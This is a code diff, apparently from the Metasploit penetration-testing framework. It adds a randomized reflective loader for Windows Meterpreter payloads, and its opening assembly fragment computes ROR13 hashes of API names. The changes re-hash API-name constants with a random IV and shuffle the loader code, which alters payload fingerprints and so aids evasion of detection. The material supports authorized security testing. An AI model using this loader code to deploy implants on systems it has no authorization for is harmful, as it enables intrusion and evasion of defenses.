+ instruction
+ b800000000
+ mov eax, 0
+
+
+
+
+ 0x144a
+ instructions-graph
+
+ 0x144a
+ instructions
+
+ 0x144a
+ instruction
+ 0fb619
+ movzx ebx, byte ptr [ecx]
+
+
+ 0x144d
+ instruction
+ 85db
+ test ebx, ebx
+
+
+ 0x144f
+ instruction
+ 7408
+ je 0x1459
+
+
+
+
+
+
+ 0x1451
+ instructions-graph
+
+ 0x1451
+ instructions
+
+ 0x1451
+ instruction
+ c1c80d
+ ror eax, 0xd
+
+
+ 0x1454
+ instruction
+ 01d8
+ add eax, ebx
+
+
+ 0x1456
+ instruction
+ 41
+ inc ecx
+
+
+ 0x1457
+ instruction
+ ebf1
+ jmp 0x144a
+
+
+
+
+
+
+
+ 0x1459
+ instructions-graph
+
+ 0x1459
+ instructions
+
+ 0x1459
+ instruction
+ c3
+ ret
+
+
+
+
+ 0x145a
+ instructions-graph
+
+ 0x145a
+ instructions
+
+ 0x145a
+ instruction
+ e841ffffff
+ call 0x13a0
+
+
+
+
+ 0x145f
+ data
+ 0110022004400440
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb
index 89f4e011ec4b7..d6690e61fcd23 100644
--- a/lib/msf/core/payload/windows/meterpreter_loader.rb
+++ b/lib/msf/core/payload/windows/meterpreter_loader.rb
@@ -13,6 +13,7 @@ module Payload::Windows::MeterpreterLoader
include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows
+ include Msf::Payload::Windows::ReflectiveLoader
def initialize(info = {})
super(update_info(info,
@@ -28,6 +29,9 @@ def initialize(info = {})
'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', },
'Stage' => { 'Payload' => "" }
))
+ register_advanced_options([
+ OptBool.new('MeterpreterLoader::CustomLoader', [ false, 'Use a custom loader', false ]),
+ ], self.class)
end
def asm_invoke_metsrv(opts={})
@@ -93,15 +97,28 @@ def generate_config(opts={})
def stage_meterpreter(opts={})
ds = opts[:datastore] || datastore
debug_build = ds['MeterpreterDebugBuild']
- # Exceptions will be thrown by the mixin if there are issues.
- dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build))
-
+ custom_loader = ds['MeterpreterLoader::CustomLoader'] == true
+
+ loader = reflective_loader()
+ if custom_loader
+ custom_loader_path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'custom_loader.x86.bin')
+ unless ::File.exist?(custom_loader_path)
+ print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.")
+ raise RuntimeError, "Custom loader not found at #{custom_loader_path}"
+ end
+ loader = ::File.binread(custom_loader_path)
+ end
+ dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build)))
asm_opts = {
- rdi_offset: offset,
- length: dll.length,
- stageless: opts[:stageless] == true
- }
-
+ rdi_offset: dll.length, # we will append the dll to the end of the custom loader, so the offset to it is just the length of the custom loader
+ length: dll.length + loader.length, # the total length of the payload is the length of the custom loader + the dll
+ stageless: opts[:stageless] == true
+ }
+ puts("WARNING: Local file #{custom_loader_path} is being used") if custom_loader
+ vprint_status("Loader length: #{loader.length} bytes")
+ vprint_status("DLL length: #{dll.length} bytes")
+ vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes")
+ vprint_status("Configuration offset: #{asm_opts[:length]} bytes")
asm = asm_invoke_metsrv(asm_opts)
# generate the bootstrap asm
@@ -114,8 +131,7 @@ def stage_meterpreter(opts={})
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
-
- dll
+ dll + loader
end
end
diff --git a/lib/msf/core/payload/windows/reflective_loader.rb b/lib/msf/core/payload/windows/reflective_loader.rb
new file mode 100644
index 0000000000000..2924b2e28ea58
--- /dev/null
+++ b/lib/msf/core/payload/windows/reflective_loader.rb
@@ -0,0 +1,53 @@
+module Msf::Payload::Windows::ReflectiveLoader
+ def reflective_loader(opts = {})
+ iv = opts.fetch(:iv) { rand(0x100000000) } & 0xFFFFFFFF
+ reflective_loader_asm = Rex::Payloads::Shuffle.from_graphml_file(
+ File.join(Msf::Config.install_root, 'data', 'shellcode', 'reflective_loader.x86.graphml'),
+ arch: ARCH_X86,
+ name: 'reflective_loader'
+ )
+
+ _patch_bytes = lambda { |asm, oldbytes, newbytes|
+ unless asm.include?(oldbytes)
+ raise "Failed to patch, opcode: #{oldbytes} not found."
+ end
+ asm.sub!(oldbytes, newbytes)
+ }
+
+ _to_hashbytes = lambda { |name, nullbyte: false, unicode: false, iv: 0|
+ name = name.unpack('C*').pack('v*') if unicode
+ fun_hash = Rex::Text.ror13_hash(name + (nullbyte ? "\x00" : ""), iv: iv) & 0xFFFFFFFF
+ [fun_hash].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ')
+ }
+
+ # Patching IV
+ iv_bytes = [iv].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ')
+ reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xbf, 0x00, 0x00, 0x00, 0x00", "db 0xbf, #{iv_bytes}")
+ reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xb8, 0x00, 0x00, 0x00, 0x00", "db 0xb8, #{iv_bytes}")
+
+ vprint_status("Random IV: #{iv}")
+ patches = [
+ { :base => "db 0x81, 0xff,", name: 'KERNEL32.DLL', unicode: true },
+ { :base => "db 0x81, 0xff,", name: 'NTDLL.DLL', unicode: true},
+ { :base => "db 0x3d,", name: 'LoadLibraryA', count: 2},
+ { :base => "db 0x3d,", name: 'GetProcAddress'},
+ { :base => "db 0x3d,", name: 'ZwAllocateVirtualMemory', count: 2},
+ { :base => "db 0x3d,", name: 'ZwProtectVirtualMemory'},
+ { :base => "db 0x3d,", name: 'NtFlushInstructionCache', count: 2},
+ ]
+
+ patches.each { |patch|
+ count = patch.fetch(:count) { 1 }
+ old_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: 0)
+ new_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: iv)
+ count.times do
+ vprint_status("Applying patch from #{old_hash} to #{new_hash} for #{patch[:name]}")
+ reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "#{patch[:base]} #{old_hash}", "#{patch[:base]} #{new_hash}")
+ end
+ }
+ code = Metasm::Shellcode.assemble(Metasm::X86.new, reflective_loader_asm).encode_string
+ hash = Rex::Text.md5_raw(code).unpack("H*").first
+ vprint_status("Reflective Loader GraphML fingerprint: #{hash}")
+ code
+ end
+end
\ No newline at end of file
diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb
index d4cc5c4bbaa19..d2feb5f442d61 100644
--- a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb
+++ b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb
@@ -14,6 +14,7 @@ module Payload::Windows::MeterpreterLoader_x64
include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows
+ include Msf::Payload::Windows::ReflectiveLoaderX64
def initialize(info = {})
super(update_info(info,
@@ -29,6 +30,9 @@ def initialize(info = {})
'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' },
'Stage' => { 'Payload' => "" }
))
+ register_advanced_options([
+ OptBool.new('MeterpreterLoader::CustomLoader', [ false, 'Use a custom loader', false ]),
+ ], self.class)
end
def asm_invoke_metsrv(opts={})
@@ -97,15 +101,28 @@ def generate_config(opts={})
def stage_meterpreter(opts={})
ds = opts[:datastore] || datastore
debug_build = ds['MeterpreterDebugBuild']
- # Exceptions will be thrown by the mixin if there are issues.
- dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build))
-
+ custom_loader = ds['MeterpreterLoader::CustomLoader'] == true
+
+ loader = reflective_loader()
+ if custom_loader
+ custom_loader_path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'custom_loader.x64.bin')
+ unless ::File.exist?(custom_loader_path)
+ print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.")
+ raise RuntimeError, "Custom loader not found at #{custom_loader_path}"
+ end
+ loader = ::File.binread(custom_loader_path)
+ end
+ dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build)))
asm_opts = {
- rdi_offset: offset,
- length: dll.length,
- stageless: opts[:stageless] == true
- }
-
+ rdi_offset: dll.length, # we will append the dll to the end of the custom loader, so the offset to it is just the length of the custom loader
+ length: dll.length + loader.length, # the total length of the payload is the length of the custom loader + the dll
+ stageless: opts[:stageless] == true
+ }
+ puts("WARNING: Local file #{custom_loader_path} is being used") if custom_loader
+ vprint_status("Loader length: #{loader.length} bytes")
+ vprint_status("DLL length: #{dll.length} bytes")
+ vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes")
+ vprint_status("Configuration offset: #{asm_opts[:length]} bytes")
asm = asm_invoke_metsrv(asm_opts)
# generate the bootstrap asm
@@ -118,12 +135,8 @@ def stage_meterpreter(opts={})
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
-
- dll
+ dll + loader
end
-
-end
-
end
-
+end
\ No newline at end of file
diff --git a/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb b/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb
new file mode 100644
index 0000000000000..13225b905eff0
--- /dev/null
+++ b/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb
@@ -0,0 +1,55 @@
+module Msf::Payload::Windows::ReflectiveLoaderX64
+
+ def reflective_loader(opts = {})
+ iv = opts.fetch(:iv) { rand(0x100000000) } & 0xFFFFFFFF
+
+ reflective_loader_asm = Rex::Payloads::Shuffle.from_graphml_file(
+ File.join(Msf::Config.install_root, 'data', 'shellcode', 'reflective_loader.x64.graphml'),
+ arch: ARCH_X64,
+ name: 'reflective_loader'
+ )
+
+ _patch_bytes = lambda { |asm, oldbytes, newbytes|
+ unless asm.include?(oldbytes)
+ raise "Failed to patch, opcode: #{oldbytes} not found."
+ end
+ asm.sub!(oldbytes, newbytes)
+ }
+
+ _to_hashbytes = lambda { |name, nullbyte: false, unicode: false, iv: 0|
+ name = name.unpack('C*').pack('v*') if unicode
+ fun_hash = Rex::Text.ror13_hash(name + (nullbyte ? "\x00" : ""), iv: iv) & 0xFFFFFFFF
+ [fun_hash].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ')
+ }
+
+ # Patching IV
+ iv_bytes = [iv].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ')
+ reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0x41, 0xbc, 0x00, 0x00, 0x00, 0x00", "db 0x41, 0xbc, #{iv_bytes}")
+ reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xb8, 0x00, 0x00, 0x00, 0x00", "db 0xb8, #{iv_bytes}")
+
+ vprint_status("Random IV: #{iv}")
+ patches = [
+ { :base => "db 0x41, 0x81, 0xfc,", name: 'KERNEL32.DLL', unicode: true },
+ { :base => "db 0x41, 0x81, 0xfc,", name: 'NTDLL.DLL', unicode: true},
+ { :base => "db 0x3d,", name: 'LoadLibraryA', count: 2},
+ { :base => "db 0x3d,", name: 'GetProcAddress'},
+ { :base => "db 0x3d,", name: 'ZwAllocateVirtualMemory', count: 2},
+ { :base => "db 0x3d,", name: 'ZwProtectVirtualMemory'},
+ { :base => "db 0x3d,", name: 'NtFlushInstructionCache', count: 2},
+ ]
+
+ patches.each { |patch|
+ count = patch.fetch(:count) { 1 }
+ old_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: 0)
+ new_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: iv)
+ count.times do
+ vprint_status("Applying patch from #{old_hash} to #{new_hash} for #{patch[:name]}")
+ reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "#{patch[:base]} #{old_hash}", "#{patch[:base]} #{new_hash}")
+ end
+ }
+ code = Metasm::Shellcode.assemble(Metasm::X64.new, reflective_loader_asm).encode_string
+ hash = Rex::Text.md5_raw(code).unpack("H*").first
+ vprint_status("Reflective Loader GraphML fingerprint: #{hash}")
+ code
+ end
+end
\ No newline at end of file
diff --git a/lib/rex/payloads/shuffle.rb b/lib/rex/payloads/shuffle.rb
index ade9acfac79f3..de1b43a54fe89 100644
--- a/lib/rex/payloads/shuffle.rb
+++ b/lib/rex/payloads/shuffle.rb
@@ -23,11 +23,19 @@ class Shuffle
# @param name [String] An optional symbol name to apply to the assembly source.
def self.from_graphml_file(file_path, arch: nil, name: nil)
graphml = Rex::Parser::GraphML.from_file(file_path)
- blocks = create_path(graphml.nodes.select { |_id,node| node.attributes['type'] == 'block' }, graphml.graphs[0].edges)
- blocks.map! { |block| { node: block, instructions: process_block(block) } }
+ blocks = create_path(graphml.nodes.select { |_id,node| %w[ data instructions-graph ].include?(node.attributes['type']) }, graphml.graphs[0].edges)
+ blocks.map! do |block|
+ hash = { node: block }
+
+ if block.attributes['type'] == 'instructions-graph'
+ hash[:instructions] = process_instructions_graph_block(block)
+ end
+
+ hash
+ end
label_prefix = Rex::Text.rand_text_alpha_lower(4)
- labeler = lambda { |address| "loc_#{label_prefix}#{ address.to_s(16).rjust(4, '0') }" }
+ labeler = lambda { |address| "loc_#{label_prefix}#{address.to_s(16).rjust(4, '0')}" }
source_lines = []
labeled = []
@@ -36,22 +44,30 @@ def self.from_graphml_file(file_path, arch: nil, name: nil)
if [ Rex::Arch::ARCH_X86, Rex::Arch::ARCH_X64 ].include? arch
source_lines << labeler.call(block[:node].attributes['address']) + ':'
labeled << block[:node].attributes['address']
- # by default use the raw binary instruction to avoid syntax compatibility issues with metasm
- instructions = block[:instructions].map { |node| 'db ' + node.attributes['instruction.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') }
+ case block[:node].attributes['type']
+ when 'data'
+ instructions = [ 'db ' + block[:node].attributes['data.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') ]
+ when 'instructions-graph'
+ # by default use the raw binary instruction to avoid syntax compatibility issues with metasm
+ instructions = block[:instructions].map { |node| 'db ' + node.attributes['instruction.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') }
+ end
else
instructions = block[:instructions].map { |node| node.attributes['instruction.source'] }
end
+
unless arch.nil?
raise ArgumentError, 'Unsupported architecture' if FLOW_INSTRUCTIONS[arch].nil?
- # if a supported architecture was specified, use the original source and apply the necessary labels
- block[:instructions].each_with_index do |node, index|
- next unless match = /^(?\S+)\s+(?0x[a-f0-9]+)$/.match(node.attributes['instruction.source'])
- next unless FLOW_INSTRUCTIONS[arch].include? match[:mnemonic]
+ if block[:node].attributes['type'] == 'instructions-graph'
+ # if a supported architecture was specified, use the original source and apply the necessary labels
+ block[:instructions].each_with_index do |node, index|
+ next unless match = /^(?\S+)\s+(?0x[a-f0-9]+)$/.match(node.attributes['instruction.source'])
+ next unless FLOW_INSTRUCTIONS[arch].include? match[:mnemonic]
- address = Integer(match[:address])
- instructions[index] = "#{match[:mnemonic]} #{labeler.call(address)}"
- label_refs << address
+ address = Integer(match[:address])
+ instructions[index] = "#{match[:mnemonic]} #{labeler.call(address)}"
+ label_refs << address
+ end
end
end
@@ -75,7 +91,7 @@ class << self
# Process the specified graph element which represents a single basic block in assembly. This graph element
# contains nodes representing each of its instructions.
#
- def process_block(block)
+ def process_instructions_graph_block(block)
subgraph = block.subgraph
instructions = subgraph.nodes.select { |_id, node| node.attributes['type'] == 'instruction' }
create_path(instructions, subgraph.edges)
diff --git a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb
index f3496dee50298..3c4e2e96ef346 100644
--- a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb
+++ b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 199238
+ CachedSize = 200485
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
index 1e0572c956c29..c8acd1cfe3b0c 100644
--- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 199238
+ CachedSize = 200485
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb
index 97fb03b8cbfd2..bdafb710c9040 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 200284
+ CachedSize = 201531
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb
index f98f6a64dd630..4f78e1c69852c 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 200284
+ CachedSize = 201531
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
index b894677c9fec0..f7fbd1ef25d65 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 199238
+ CachedSize = 200485
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
index 6c4738ee56907..bc012ef134f81 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 199238
+ CachedSize = 200485
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb
index f705195f500e5..c0f54b78347b4 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 248902
+ CachedSize = 250534
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
index 090cb171f2e56..500402055ce01 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 248902
+ CachedSize = 250534
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
index 8683c867fb22a..e89c6eddad373 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 249948
+ CachedSize = 251580
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
index ab26531892a8c..0dfc4de23c9b3 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 249948
+ CachedSize = 251580
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
index 6dcfc235c56f8..d5af7e685dea9 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 248902
+ CachedSize = 250534
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
index ca9321ddfdf62..6d023a6c72d77 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
@@ -4,7 +4,7 @@
##
module MetasploitModule
- CachedSize = 248902
+ CachedSize = 250534
include Msf::Payload::TransportConfig
include Msf::Payload::Windows